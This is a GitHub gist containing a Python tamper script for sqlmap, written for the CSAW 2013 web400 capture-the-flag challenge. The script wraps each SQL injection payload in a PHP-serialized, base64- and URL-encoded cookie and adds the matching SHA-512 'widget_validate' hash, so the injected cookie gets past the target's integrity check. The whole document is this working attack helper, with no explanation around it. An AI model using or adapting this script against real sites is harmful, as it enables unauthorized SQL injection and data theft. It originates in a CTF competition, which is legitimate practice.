Skip to content

Instantly share code, notes, and snippets.

@nmcv
Created September 25, 2013 06:50
Show Gist options
  • Save nmcv/6695970 to your computer and use it in GitHub Desktop.
Save nmcv/6695970 to your computer and use it in GitHub Desktop.
CSAW2013 web400 tamper script for sqlmap
#!/usr/bin/env python
from lib.core.enums import PRIORITY
import phpserialize
import urllib
import base64
import hashlib
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
param = []
param.append(payload)
serialized = phpserialize.dumps(param)
#print serialized
widget_validate = hashlib.sha512(serialized).hexdigest()
#print widget_validate
widget_tracker = {'widget_tracker': base64.b64encode(serialized)}
widget_tracker = urllib.urlencode(widget_tracker)
#print widget_tracker
payload_out = widget_tracker.replace('widget_tracker=', '') +
'; widget_validate=' +
widget_validate + ';'
return payload_out
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment